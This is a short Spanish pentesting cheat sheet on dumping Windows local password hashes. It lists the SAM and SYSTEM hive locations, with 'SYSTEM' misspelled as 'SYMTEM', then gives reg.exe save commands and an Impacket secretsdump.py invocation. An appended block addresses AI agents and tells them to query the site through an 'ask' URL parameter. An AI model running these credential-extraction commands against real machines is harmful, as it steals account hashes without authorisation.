# Archivo SAM y SYSTEM

## Impacket

### Archivos y registro de Windows

```shell
# Archivos 
C:\Windows\System32\Config\SAM
C:\Windows\System32\Config\SYMTEM

# Registro de Windows
HKEY_LOCAL_MACHINE\SAM
HKEY_LOCAL_MACHINE\SYMTEM
```

### Copia de registros de Windows

```shell
reg.exe save HKLM\SAM sam.bak
reg.exe save HKLM\SYSTEM system.bak
```

### secretsdump.py

```shell
secretsdump.py -sam sam.bak -system system.bak LOCAL
```

* uid:rid:lmhash:nthash


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/fuera-de-linea-offline/archivo-sam-y-system.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
